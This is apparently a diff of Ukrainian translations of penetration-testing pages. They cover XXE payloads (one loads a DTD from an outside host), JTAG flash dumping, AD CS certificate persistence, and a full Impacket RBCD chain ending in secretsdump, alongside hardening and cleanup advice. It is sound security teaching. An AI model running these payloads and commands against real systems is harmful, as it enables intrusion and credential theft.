Зверніть увагу, що використані **HTML Entities** повинні бути **числовими** (як \[в цьому прикладі]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
||||
@ -492,7 +492,7 @@ Content-Type: application/x-xliff+xml
|
||||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
Однак цей запит викликає помилку внутрішнього сервера, зокрема згадуючи про проблему з деклараціями розмітки:
|
||||
Однак цей запит викликає внутрішню помилку сервера, зокрема згадуючи про проблему з деклараціями розмітки:
|
||||
```json
|
||||
{
|
||||
"status": 500,
|
||||
@ -711,10 +711,10 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
> [!TIP]
|
||||
> Якщо парсер скаржиться на символи `%`/`&` всередині внутрішнього підмножини, подвоюйте їх кодування (`&#x25;` ⇒ `%`), щоб затримати розширення.
|
||||
|
||||
#### 2. Обхід захисту lxml 5.4.0 (libxml2 все ще вразливий)
|
||||
`lxml` ≥ 5.4.0 забороняє *параметри* помилок, такі як наведений вище, але **libxml2** все ще дозволяє їх вбудовувати в *загальний* параметр. Трюк полягає в тому, щоб:
|
||||
1. Прочитати файл у параметричний об'єкт `%file`.
|
||||
2. Оголосити інший параметричний об'єкт, який створює **загальний** об'єкт `c`, чий системний ідентифікатор використовує *неіснуючий протокол*, наприклад `meow://%file;`.
|
||||
#### 2. Обхід зміцнення lxml 5.4.0 (libxml2 все ще вразливий)
|
||||
`lxml` ≥ 5.4.0 забороняє *параметр* сутності помилок, як у наведеному вище прикладі, але **libxml2** все ще дозволяє їх вбудовувати в *загальну* сутність. Трюк полягає в тому, щоб:
|
||||
1. Прочитати файл у параметричну сутність `%file`.
|
||||
2. Оголосити іншу параметричну сутність, яка створює **загальну** сутність `c`, чий системний ідентифікатор використовує *неіснуючий протокол*, наприклад, `meow://%file;`.
|
||||
3. Розмістити `&c;` в тілі XML. Коли парсер намагається розіменувати `meow://…`, він зазнає невдачі і відображає повний URI – включаючи вміст файлу – в повідомленні про помилку.
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
@ -738,7 +738,7 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
|
||||
### Приклад зміцнення Java DocumentBuilderFactory
|
||||
|
||||
Java-додатки часто парсять XML, використовуючи `DocumentBuilderFactory`. За замовчуванням фабрика **дозволяє розв'язання зовнішніх сутностей**, що робить її вразливою до XXE та SSRF, якщо не встановлені додаткові флаги зміцнення:
|
||||
Java-додатки часто парсять XML, використовуючи `DocumentBuilderFactory`. За замовчуванням фабрика **дозволяє розв'язання зовнішніх сутностей**, що робить її вразливою до XXE та SSRF, якщо не встановлені додаткові прапори зміцнення:
|
||||
```java
|
||||
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
|
||||
DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone
|
||||
@ -763,17 +763,17 @@ dbf.setExpandEntityReferences(false);
|
||||
|
||||
DocumentBuilder builder = dbf.newDocumentBuilder();
|
||||
```
|
||||
Якщо додаток повинен підтримувати DTD всередині, залишайте `disallow-doctype-decl` вимкненим, але **завжди** залишайте два параметри `external-*-entities` встановленими на `false`. Ця комбінація запобігає класичним атакам на розкриття файлів (`file:///etc/passwd`), а також мережевим векторами SSRF (`http://169.254.169.254/…`, протокол `jar:`, тощо).
|
||||
Якщо додаток повинен підтримувати DTD всередині, залишайте `disallow-doctype-decl` вимкненим, але **завжди** залишайте два параметри `external-*-entities` встановленими на `false`. Ця комбінація запобігає класичним атакам на розкриття файлів (`file:///etc/passwd`), а також мережевим векторами SSRF (`http://169.254.169.254/…`, протокол `jar:` тощо).
|
||||
|
||||
Дослідження з реального світу: **CVE-2025-27136** в емуляторі Java S3 *LocalS3* використовував вразливий конструктор, показаний вище. Неавтентифікований зловмисник міг надати підготовлене XML тіло до кінцевої точки `CreateBucketConfiguration` і змусити сервер вбудувати локальні файли (наприклад, `/etc/passwd`) у HTTP-відповідь.
|
||||
Дослідження реального випадку: **CVE-2025-27136** в емуляторі Java S3 *LocalS3* використовував вразливий конструктор, показаний вище. Неавтентифікований зловмисник міг надати підготовлене XML тіло до кінцевої точки `CreateBucketConfiguration` і змусити сервер вбудувати локальні файли (наприклад, `/etc/passwd`) у HTTP-відповідь.
|
||||
|
||||
### XXE в JMF/Послуги Оркестрації Друку → SSRF
|
||||
|
||||
Деякі платформи для друку/оркестрації робочих процесів відкривають мережевий прослуховувач формату повідомлень завдань (JMF), який приймає XML через TCP. Якщо підлягаючий парсер приймає `DOCTYPE` і розв'язує зовнішні сутності, ви можете використати класичний XXE, щоб змусити сервер здійснювати вихідні запити (SSRF) або отримувати доступ до локальних ресурсів.
|
||||
Деякі платформи для друку/оркестрації відкривають мережевий прослуховувач формату повідомлень завдань (JMF), який приймає XML через TCP. Якщо підлягаючий парсер приймає `DOCTYPE` і вирішує зовнішні сутності, ви можете використати класичний XXE, щоб змусити сервер здійснювати вихідні запити (SSRF) або отримувати доступ до локальних ресурсів.
|
||||
|
||||
Ключові моменти, зафіксовані в реальному світі:
|
||||
- Мережевий прослуховувач (наприклад, клієнт JMF) на виділеному порту (зазвичай 4004 у Xerox FreeFlow Core).
|
||||
- Парсинг XML на базі Java всередині jar (наприклад, `jmfclient.jar`) без вимкнення `disallow-doctype-decl` або розв'язання сутностей.
|
||||
- Парсинг XML на базі Java всередині jar (наприклад, `jmfclient.jar`) без вимкнення `disallow-doctype-decl` або вирішення сутностей.
|
||||
- Вихідні зворотні виклики надійно підтверджують експлуатацію.
|
||||
|
||||
Мінімальний JMF-стиль SSRF пробник (структура варіюється в залежності від продукту, але DOCTYPE має значення):
|
||||
|
||||
@ -8,7 +8,7 @@ README.md
|
||||
|
||||
## JTAGenum
|
||||
|
||||
[**JTAGenum**](https://github.com/cyphunk/JTAGenum) - це інструмент, який ви можете завантажити на MCU, сумісний з Arduino, або (експериментально) на Raspberry Pi, щоб брутфорсити невідомі JTAG pinouts і навіть перераховувати регістри інструкцій.
|
||||
[**JTAGenum**](https://github.com/cyphunk/JTAGenum) - це інструмент, який ви можете завантажити на сумісний з Arduino MCU або (експериментально) Raspberry Pi для брутфорсу невідомих JTAG pinout і навіть перерахунку регістрів інструкцій.
|
||||
|
||||
- Arduino: підключіть цифрові піни D2–D11 до до 10 підозрюваних JTAG pads/testpoints, а GND Arduino до GND цілі. Живіть ціль окремо, якщо ви не знаєте, що лінія безпечна. Вибирайте логіку 3.3 V (наприклад, Arduino Due) або використовуйте перетворювач рівнів/послідовні резистори при перевірці цілей 1.8–3.3 V.
|
||||
- Raspberry Pi: версія Pi має менше доступних GPIO (тому сканування повільніше); перевірте репозиторій для поточної карти пінів і обмежень.
|
||||
@ -18,8 +18,8 @@ README.md
|
||||
- `l` знайти петлі, щоб уникнути хибнопозитивних результатів
|
||||
- `r` перемикати внутрішні підтягуючі резистори, якщо потрібно
|
||||
- `s` сканувати для TCK/TMS/TDI/TDO (і іноді TRST/SRST)
|
||||
- `y` брутфорсити IR для виявлення не задокументованих опкодів
|
||||
- `x` знімок станів пінів для boundary-scan
|
||||
- `y` брутфорс IR для виявлення не задокументованих опкодів
|
||||
- `x` знімок станів пінів за допомогою boundary-scan
|
||||
|
||||
.png>)
|
||||
|
||||
@ -27,9 +27,7 @@ README.md
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
|
||||
Якщо знайдено дійсний TAP, ви побачите рядки, що починаються з `FOUND!`, що вказують на виявлені піни.
|
||||
Якщо знайдено дійсний TAP, ви побачите рядки, що починаються з `FOUND!`, що вказує на виявлені піни.
|
||||
|
||||
Поради
|
||||
- Завжди діліть землю і ніколи не підключайте невідомі піни вище Vtref цілі. Якщо сумніваєтеся, додайте послідовні резистори 100–470 Ω на кандидатних пінах.
|
||||
@ -60,14 +58,12 @@ Notes
|
||||
|
||||
## Зупинка ЦП та скидання пам'яті/флеш-пам'яті
|
||||
|
||||
Якщо TAP розпізнано і вибрано цільовий скрипт, ви можете зупинити ядро та скинути області пам'яті або внутрішню флеш-пам'ять. Приклади (налаштуйте ціль, базові адреси та розміри):
|
||||
|
||||
- Загальна ціль після ініціалізації:
|
||||
Якщо TAP розпізнано і вибрано цільовий скрипт, ви можете зупинити ядро та скинути області пам'яті або внутрішню флеш-пам'ять. Приклади (налаштуйте ціль, базові адреси та розміри):
|
||||
```
|
||||
openocd -f interface/jlink.cfg -f target/stm32f1x.cfg \
|
||||
-c "init; reset halt; mdw 0x08000000 4; dump_image flash.bin 0x08000000 0x00100000; shutdown"
|
||||
```
|
||||
- RISC‑V SoC (надавайте перевагу SBA, коли це можливо):
|
||||
- RISC‑V SoC (віддавайте перевагу SBA, коли це можливо):
|
||||
```
|
||||
openocd -f interface/ftdi/ft232h.cfg -f target/riscv.cfg \
|
||||
-c "init; riscv set_prefer_sba on; halt; dump_image sram.bin 0x80000000 0x20000; shutdown"
|
||||
@ -83,9 +79,9 @@ Tips
|
||||
|
||||
## Трюки з граничним скануванням (EXTEST/SAMPLE)
|
||||
|
||||
Навіть коли доступ до налагодження ЦП заблоковано, граничне сканування все ще може бути відкритим. З UrJTAG/OpenOCD ви можете:
|
||||
Навіть коли доступ до налагодження ЦП заблоковано, граничне сканування все ще може бути доступним. З UrJTAG/OpenOCD ви можете:
|
||||
- SAMPLE для знімка станів контактів під час роботи системи (знайти активність шини, підтвердити відображення контактів).
|
||||
- EXTEST для управління контактами (наприклад, біт-банг зовнішніх SPI flash ліній через MCU для читання офлайн, якщо проводка плати це дозволяє).
|
||||
- EXTEST для управління контактами (наприклад, біт-банг зовнішніх ліній SPI флеш-пам'яті через MCU для читання її офлайн, якщо проводка плати це дозволяє).
|
||||
|
||||
Мінімальний потік UrJTAG з адаптером FT2232x:
|
||||
```
|
||||
@ -101,16 +97,16 @@ jtag> dr <bit pattern for boundary register>
|
||||
|
||||
## Сучасні цілі та примітки
|
||||
|
||||
- ESP32‑S3/C3 включає в себе рідний USB‑JTAG міст; OpenOCD може спілкуватися безпосередньо через USB без зовнішнього зонда. Дуже зручно для тріажу та дампів.
|
||||
- ESP32‑S3/C3 включає вбудований USB‑JTAG міст; OpenOCD може спілкуватися безпосередньо через USB без зовнішнього зонда. Дуже зручно для тріажу та дампів.
|
||||
- Налагодження RISC‑V (v0.13+) широко підтримується OpenOCD; віддавайте перевагу SBA для доступу до пам'яті, коли ядро не можна безпечно зупинити.
|
||||
- Багато МК реалізують аутентифікацію налагодження та стани життєвого циклу. Якщо JTAG виглядає мертвим, але живлення правильне, пристрій може бути злитий у закритий стан або вимагати аутентифікований зонд.
|
||||
|
||||
## Захист і зміцнення (чого очікувати на реальних пристроях)
|
||||
|
||||
- Постійно вимикайте або блокуйте JTAG/SWD у продукції (наприклад, STM32 RDP рівень 2, ESP eFuses, які вимикають PAD JTAG, NXP/Nordic APPROTECT/DPAP).
|
||||
- Постійно вимкніть або заблокуйте JTAG/SWD у продукції (наприклад, STM32 RDP рівень 2, ESP eFuses, які вимикають PAD JTAG, NXP/Nordic APPROTECT/DPAP).
|
||||
- Вимагайте аутентифіковане налагодження (ARMv8.2‑A ADIv6 Аутентифікація налагодження, управління OEM виклик-відповідь) при збереженні доступу до виробництва.
|
||||
- Не прокладайте легкі тестові площадки; закопуйте тестові вії, видаляйте/заповнюйте резистори для ізоляції TAP, використовуйте роз'єми з ключами або конструкціями з пружинами.
|
||||
- Блокування налагодження при увімкненні: закрийте TAP за раннім ROM, що забезпечує безпечний завантаження.
|
||||
- Блокування налагодження при вмиканні: закрийте TAP за раннім ROM, що забезпечує безпечний завантаження.
|
||||
|
||||
## Посилання
|
||||
|
||||
|
||||
@ -1,58 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
У відповіді ping TTL:\
|
||||
127 = Windows\
|
||||
254 = Cisco\
|
||||
Інше, якийсь linux
|
||||
|
||||
$1$- md5\
|
||||
$2$or $2a$ - Blowfish\
|
||||
$5$- sha256\
|
||||
$6$- sha512
|
||||
|
||||
Якщо ви не знаєте, що стоїть за сервісом, спробуйте зробити HTTP GET запит.
|
||||
|
||||
**UDP Сканування**\
|
||||
nc -nv -u -z -w 1 \<IP> 160-16
|
||||
|
||||
Порожній UDP пакет надсилається на конкретний порт. Якщо UDP порт відкритий, відповідь не надсилається з цільової машини. Якщо UDP порт закритий, з цільової машини має бути надіслано пакет ICMP "порт недоступний".\
|
||||
|
||||
Сканування UDP портів часто ненадійне, оскільки брандмауери та маршрутизатори можуть відкидати пакети ICMP.\
|
||||
Це може призвести до хибнопозитивних результатів у вашому скануванні, і ви регулярно будете бачити,\
|
||||
що сканування UDP портів показує всі UDP порти відкритими на сканованій машині.\
|
||||
Більшість сканерів портів не сканують всі доступні порти і зазвичай мають попередньо встановлений список\
|
||||
"цікавих портів", які скануються.
|
||||
|
||||
# CTF - Трюки
|
||||
|
||||
У **Windows** використовуйте **Winzip** для пошуку файлів.\
|
||||
**Альтернативні потоки даних**: _dir /r | find ":$DATA"_\
|
||||
```
|
||||
binwalk --dd=".*" <file> #Extract everything
|
||||
binwalk -M -e -d=10000 suspicious.pdf #Extract, look inside extracted files and continue extracing (depth of 10000)
|
||||
```
|
||||
## Крипто
|
||||
|
||||
**featherduster**\
|
||||
|
||||
**Basae64**(6—>8) —> 0...9, a...z, A…Z,+,/\
|
||||
**Base32**(5 —>8) —> A…Z, 2…7\
|
||||
**Base85** (Ascii85, 7—>8) —> 0...9, a...z, A...Z, ., -, :, +, =, ^, !, /, \*, ?, &, <, >, (, ), \[, ], {, }, @, %, $, #\
|
||||
**Uuencode** --> Починається з "_begin \<mode> \<filename>_" і дивних символів\
|
||||
**Xxencoding** --> Починається з "_begin \<mode> \<filename>_" і B64\
|
||||
\
|
||||
**Vigenere** (аналіз частот) —> [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)\
|
||||
**Scytale** (зсув символів) —> [https://www.dcode.fr/scytale-cipher](https://www.dcode.fr/scytale-cipher)
|
||||
|
||||
**25x25 = QR**
|
||||
|
||||
factordb.com\
|
||||
rsatool
|
||||
|
||||
Snow --> Сховати повідомлення, використовуючи пробіли та табуляції
|
||||
|
||||
# Символи
|
||||
|
||||
%E2%80%AE => RTL символ (пише payloads у зворотному порядку)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
@ -44,9 +44,9 @@ Certify.exe request /ca:dc.theshire.local/theshire-DC-CA /template:Machine /mach
|
||||
# Authenticate as the machine using the issued PFX
|
||||
Rubeus.exe asktgt /user:HOSTNAME$ /certificate:C:\Temp\host.pfx /password:Passw0rd! /ptt
|
||||
```
|
||||
## Розширення стійкості через поновлення сертифікатів - PERSIST3
|
||||
## Розширення стійкості через оновлення сертифікатів - PERSIST3
|
||||
|
||||
Зловживання термінами дії та поновлення шаблонів сертифікатів дозволяє зловмиснику підтримувати довгостроковий доступ. Якщо у вас є раніше виданий сертифікат і його приватний ключ, ви можете поновити його до закінчення терміну дії, щоб отримати новий, довгостроковий обліковий запис, не залишаючи додаткових артефактів запиту, пов'язаних з оригінальним принципалом.
|
||||
Зловживання термінами дії та оновлення шаблонів сертифікатів дозволяє зловмиснику підтримувати довгостроковий доступ. Якщо у вас є раніше виданий сертифікат і його приватний ключ, ви можете оновити його до закінчення терміну дії, щоб отримати новий, довгостроковий обліковий запис, не залишаючи додаткових артефактів запиту, пов'язаних з оригінальним принципалом.
|
||||
```bash
|
||||
# Renewal with Certipy (works with RPC/DCOM/WebEnrollment)
|
||||
# Provide the existing PFX and target the same CA/template when possible
|
||||
@ -59,16 +59,16 @@ certreq -enroll -user -cert <SerialOrID> renew [reusekeys]
|
||||
```
|
||||
> Оперативна порада: Відстежуйте терміни дії PFX файлів, що знаходяться у володінні зловмисника, і оновлюйте їх заздалегідь. Оновлення також може призвести до того, що нові сертифікати включатимуть сучасне розширення SID mapping, що дозволяє їх використовувати відповідно до більш суворих правил мапування DC (див. наступний розділ).
|
||||
|
||||
## Явне визначення мапувань сертифікатів (altSecurityIdentities) – PERSIST4
|
||||
## Встановлення явних мапувань сертифікатів (altSecurityIdentities) – PERSIST4
|
||||
|
||||
Якщо ви можете записувати в атрибут `altSecurityIdentities` цільового облікового запису, ви можете явно зв'язати сертифікат, контрольований зловмисником, з цим обліковим записом. Це зберігається при зміні паролів і, при використанні сильних форматів мапування, залишається функціональним під час сучасного виконання DC.
|
||||
Якщо ви можете записувати в атрибут `altSecurityIdentities` цільового облікового запису, ви можете явно прив'язати сертифікат, що контролюється зловмисником, до цього облікового запису. Це зберігається при зміні паролів і, при використанні сильних форматів мапування, залишається функціональним під час сучасного виконання DC.
|
||||
|
||||
Високорівневий процес:
|
||||
|
||||
1. Отримайте або випустіть сертифікат клієнтської автентифікації, яким ви керуєте (наприклад, зареєструйте шаблон `User` на себе).
|
||||
2. Витягніть сильний ідентифікатор з сертифіката (Issuer+Serial, SKI або SHA1-PublicKey).
|
||||
3. Додайте явне мапування до `altSecurityIdentities` жертви, використовуючи цей ідентифікатор.
|
||||
4. Аутентифікуйтеся за допомогою вашого сертифіката; DC зв'язує його з жертвою через явне мапування.
|
||||
4. Аутентифікуйтеся за допомогою вашого сертифіката; DC прив'язує його до жертви через явне мапування.
|
||||
|
||||
Приклад (PowerShell) з використанням сильного мапування Issuer+Serial:
|
||||
```powershell
|
||||
@ -86,9 +86,9 @@ certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10
|
||||
```
|
||||
Notes
|
||||
- Використовуйте тільки сильні типи відображення: X509IssuerSerialNumber, X509SKI або X509SHA1PublicKey. Слабкі формати (Subject/Issuer, Subject-only, RFC822 email) застаріли і можуть бути заблоковані політикою DC.
|
||||
- Ланцюг сертифікатів повинен будуватися до кореневого, який довіряє DC. Корпоративні ЦС в NTAuth зазвичай є довіреними; деякі середовища також довіряють публічним ЦС.
|
||||
- Ланцюг сертифікатів повинен будуватися до кореня, довіреного DC. Корпоративні ЦС в NTAuth зазвичай довірені; деякі середовища також довіряють публічним ЦС.
|
||||
|
||||
For more on weak explicit mappings and attack paths, see:
|
||||
Для отримання додаткової інформації про слабкі явні відображення та шляхи атак, дивіться:
|
||||
|
||||
{{#ref}}
|
||||
domain-escalation.md
|
||||
@ -96,7 +96,7 @@ domain-escalation.md
|
||||
|
||||
## Enrollment Agent as Persistence – PERSIST5
|
||||
|
||||
If you obtain a valid Certificate Request Agent/Enrollment Agent certificate, you can mint new logon-capable certificates on behalf of users at will and keep the agent PFX offline as a persistence token. Abuse workflow:
|
||||
Якщо ви отримаєте дійсний сертифікат запиту на сертифікат/сертифікат агента реєстрації, ви можете створювати нові сертифікати, що дозволяють входити, від імені користувачів на свій розсуд і зберігати агент PFX офлайн як токен постійності. Зловживання робочим процесом:
|
||||
```bash
|
||||
# Request an Enrollment Agent cert (requires template rights)
|
||||
Certify.exe request /ca:CA-SERVER\CA-NAME /template:"Certificate Request Agent"
|
||||
@ -109,13 +109,13 @@ Certify.exe request /ca:CA-SERVER\CA-NAME /template:User \
|
||||
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
|
||||
-template 'User' -on-behalf-of 'CORP/victim' -pfx agent.pfx -out victim_onbo.pfx
|
||||
```
|
||||
Відкликання сертифіката агента або дозволів шаблону необхідне для видалення цієї стійкості.
|
||||
Відкликання сертифіката агента або дозволів шаблону є необхідним для видалення цієї стійкості.
|
||||
|
||||
## 2025 Сильне застосування мапування сертифікатів: Вплив на стійкість
|
||||
## 2025 Сильне застосування мапування сертифікатів: вплив на стійкість
|
||||
|
||||
Microsoft KB5014754 впровадив сильне застосування мапування сертифікатів на контролерах домену. З 11 лютого 2025 року контролери домену за замовчуванням переходять на повне застосування, відхиляючи слабкі/неоднозначні мапування. Практичні наслідки:
|
||||
|
||||
- Сертифікати до 2022 року, які не мають розширення мапування SID, можуть не пройти неявне мапування, коли контролери домену перебувають у повному застосуванні. Зловмисники можуть підтримувати доступ, або оновлюючи сертифікати через AD CS (щоб отримати розширення SID), або шляхом впровадження сильного явного мапування в `altSecurityIdentities` (PERSIST4).
|
||||
- Сертифікати до 2022 року, які не мають розширення мапування SID, можуть не пройти неявне мапування, коли контролери домену знаходяться в режимі повного застосування. Зловмисники можуть підтримувати доступ, або оновлюючи сертифікати через AD CS (щоб отримати розширення SID), або шляхом впровадження сильного явного мапування в `altSecurityIdentities` (PERSIST4).
|
||||
- Явні мапування, що використовують сильні формати (Issuer+Serial, SKI, SHA1-PublicKey), продовжують працювати. Слабкі формати (Issuer/Subject, Subject-only, RFC822) можуть бути заблоковані і їх слід уникати для стійкості.
|
||||
|
||||
Адміністратори повинні моніторити та сповіщати про:
|
||||
|
||||
@ -13,7 +13,7 @@
|
||||
|
||||
### Нові концепції
|
||||
|
||||
У попередній обмеженій делегації було сказано, що **`TrustedToAuthForDelegation`** прапор у значенні _userAccountControl_ користувача потрібен для виконання **S4U2Self.** Але це не зовсім правда.\
|
||||
У попередній обмеженій делегації говорилося, що **`TrustedToAuthForDelegation`** прапор у значенні _userAccountControl_ користувача потрібен для виконання **S4U2Self.** Але це не зовсім правда.\
|
||||
Реальність полягає в тому, що навіть без цього значення ви можете виконати **S4U2Self** проти будь-якого користувача, якщо ви є **сервісом** (маєте SPN), але, якщо ви **маєте `TrustedToAuthForDelegation`**, повернений TGS буде **Forwardable**, а якщо ви **не маєте** цього прапора, повернений TGS **не буде** **Forwardable**.
|
||||
|
||||
Однак, якщо **TGS**, використаний у **S4U2Proxy**, **НЕ Forwardable**, спроба зловживання **базовою обмеженою делегацією** **не спрацює**. Але якщо ви намагаєтеся експлуатувати **ресурсно-орієнтовану обмежену делегацію, це спрацює**.
|
||||
@ -24,7 +24,7 @@
|
||||
|
||||
Припустимо, що зловмисник вже має **права на запис, еквівалентні привілеям, над комп'ютером жертви**.
|
||||
|
||||
1. Зловмисник **компрометує** обліковий запис, який має **SPN**, або **створює один** (“Сервіс A”). Зверніть увагу, що **будь-який** _адміністратор_ без будь-яких інших спеціальних привілеїв може **створити** до 10 об'єктів комп'ютера (**_MachineAccountQuota_**) і встановити їм **SPN**. Отже, зловмисник може просто створити об'єкт комп'ютера та встановити SPN.
|
||||
1. Зловмисник **компрометує** обліковий запис, який має **SPN**, або **створює один** (“Сервіс A”). Зверніть увагу, що **будь-який** _адміністратор_ без будь-яких інших спеціальних привілеїв може **створити** до 10 об'єктів комп'ютера (**_MachineAccountQuota_**) і встановити їм **SPN**. Тож зловмисник може просто створити об'єкт комп'ютера та встановити SPN.
|
||||
2. Зловмисник **зловживає своїм правом на запис** над комп'ютером жертви (СервісB), щоб налаштувати **ресурсно-орієнтовану обмежену делегацію, щоб дозволити СервісуA імітувати будь-якого користувача** проти цього комп'ютера жертви (СервісB).
|
||||
3. Зловмисник використовує Rubeus для виконання **повної атаки S4U** (S4U2Self і S4U2Proxy) від Сервісу A до Сервісу B для користувача **з привілейованим доступом до Сервісу B**.
|
||||
1. S4U2Self (з компрометованого/створеного облікового запису SPN): Запит на **TGS адміністратора для мене** (не Forwardable).
|
||||
@ -70,9 +70,9 @@ msds-allowedtoactonbehalfofotheridentity
|
||||
----------------------------------------
|
||||
{1, 0, 4, 128...}
|
||||
```
|
||||
### Виконання повної атаки S4U
|
||||
### Виконання повної атаки S4U (Windows/Rubeus)
|
||||
|
||||
По-перше, ми створили новий об'єкт Комп'ютера з паролем `123456`, тому нам потрібен хеш цього пароля:
|
||||
По-перше, ми створили новий об'єкт комп'ютера з паролем `123456`, тому нам потрібен хеш цього пароля:
|
||||
```bash
|
||||
.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
|
||||
```
|
||||
@ -86,12 +86,36 @@ rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /
|
||||
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Зверніть увагу, що у користувачів є атрибут під назвою "**Cannot be delegated**". Якщо у користувача цей атрибут встановлено в True, ви не зможете його імплементувати. Цю властивість можна побачити в bloodhound.
|
||||
> Зверніть увагу, що у користувачів є атрибут під назвою "**Не може бути делегований**". Якщо у користувача цей атрибут встановлено в True, ви не зможете його імплементувати. Цю властивість можна побачити в bloodhound.
|
||||
|
||||
### Linux tooling: end-to-end RBCD with Impacket (2024+)
|
||||
|
||||
Якщо ви працюєте з Linux, ви можете виконати повний ланцюг RBCD, використовуючи офіційні інструменти Impacket:
|
||||
```bash
|
||||
# 1) Create attacker-controlled machine account (respects MachineAccountQuota)
|
||||
impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'P@ss123' -dc-ip 192.168.56.10 'domain.local/jdoe:Summer2025!'
|
||||
|
||||
# 2) Grant RBCD on the target computer to FAKE01$
|
||||
# -action write appends/sets the security descriptor for msDS-AllowedToActOnBehalfOfOtherIdentity
|
||||
impacket-rbcd -delegate-to 'VICTIM$' -delegate-from 'FAKE01$' -dc-ip 192.168.56.10 -action write 'domain.local/jdoe:Summer2025!'
|
||||
|
||||
# 3) Request an impersonation ticket (S4U2Self+S4U2Proxy) for a privileged user against the victim service
|
||||
impacket-getST -spn cifs/victim.domain.local -impersonate Administrator -dc-ip 192.168.56.10 'domain.local/FAKE01$:P@ss123'
|
||||
|
||||
# 4) Use the ticket (ccache) against the target service
|
||||
export KRB5CCNAME=$(pwd)/Administrator.ccache
|
||||
# Example: dump local secrets via Kerberos (no NTLM)
|
||||
impacket-secretsdump -k -no-pass Administrator@victim.domain.local
|
||||
```
|
||||
Notes
|
||||
- Якщо підпис LDAP/LDAPS є обов'язковим, використовуйте `impacket-rbcd -use-ldaps ...`.
|
||||
- Вибирайте ключі AES; багато сучасних доменів обмежують RC4. Impacket і Rubeus обидва підтримують лише AES потоки.
|
||||
- Impacket може переписати `sname` ("AnySPN") для деяких інструментів, але отримуйте правильний SPN, коли це можливо (наприклад, CIFS/LDAP/HTTP/HOST/MSSQLSvc).
|
||||
|
||||
### Accessing
|
||||
|
||||
Остання команда виконає **повну атаку S4U і впорсне TGS** з Administrator на жертву в **пам'ять**.\
|
||||
У цьому прикладі було запитано TGS для сервісу **CIFS** від Administrator, тому ви зможете отримати доступ до **C$**:
|
||||
Остання команда виконає **повну атаку S4U і впровадить TGS** від адміністратора до жертви в **пам'ять**.\
|
||||
У цьому прикладі було запитано TGS для служби **CIFS** від адміністратора, тому ви зможете отримати доступ до **C$**:
|
||||
```bash
|
||||
ls \\victim.domain.local\C$
|
||||
```
|
||||
@ -99,23 +123,79 @@ ls \\victim.domain.local\C$
|
||||
|
||||
Дізнайтеся про [**доступні сервісні квитки тут**](silver-ticket.md#available-services).
|
||||
|
||||
## Помилки Kerberos
|
||||
## Перерахунок, аудит та очищення
|
||||
|
||||
- **`KDC_ERR_ETYPE_NOTSUPP`**: Це означає, що kerberos налаштовано на те, щоб не використовувати DES або RC4, а ви надаєте лише хеш RC4. Надайте Rubeus принаймні хеш AES256 (або просто надайте йому хеші rc4, aes128 і aes256). Приклад: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
|
||||
### Перерахунок комп'ютерів з налаштованим RBCD
|
||||
|
||||
PowerShell (декодування SD для вирішення SID):
|
||||
```powershell
|
||||
# List all computers with msDS-AllowedToActOnBehalfOfOtherIdentity set and resolve principals
|
||||
Import-Module ActiveDirectory
|
||||
Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
|
||||
Where-Object { $_."msDS-AllowedToActOnBehalfOfOtherIdentity" } |
|
||||
ForEach-Object {
|
||||
$raw = $_."msDS-AllowedToActOnBehalfOfOtherIdentity"
|
||||
$sd = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $raw, 0
|
||||
$sd.DiscretionaryAcl | ForEach-Object {
|
||||
$sid = $_.SecurityIdentifier
|
||||
try { $name = $sid.Translate([System.Security.Principal.NTAccount]) } catch { $name = $sid.Value }
|
||||
[PSCustomObject]@{ Computer=$_.ObjectDN; Principal=$name; SID=$sid.Value; Rights=$_.AccessMask }
|
||||
}
|
||||
}
|
||||
```
|
||||
Impacket (читати або очищати одним командою):
|
||||
```bash
|
||||
# Read who can delegate to VICTIM
|
||||
impacket-rbcd -delegate-to 'VICTIM$' -action read 'domain.local/jdoe:Summer2025!'
|
||||
```
|
||||
### Cleanup / reset RBCD
|
||||
|
||||
- PowerShell (очистити атрибут):
|
||||
```powershell
|
||||
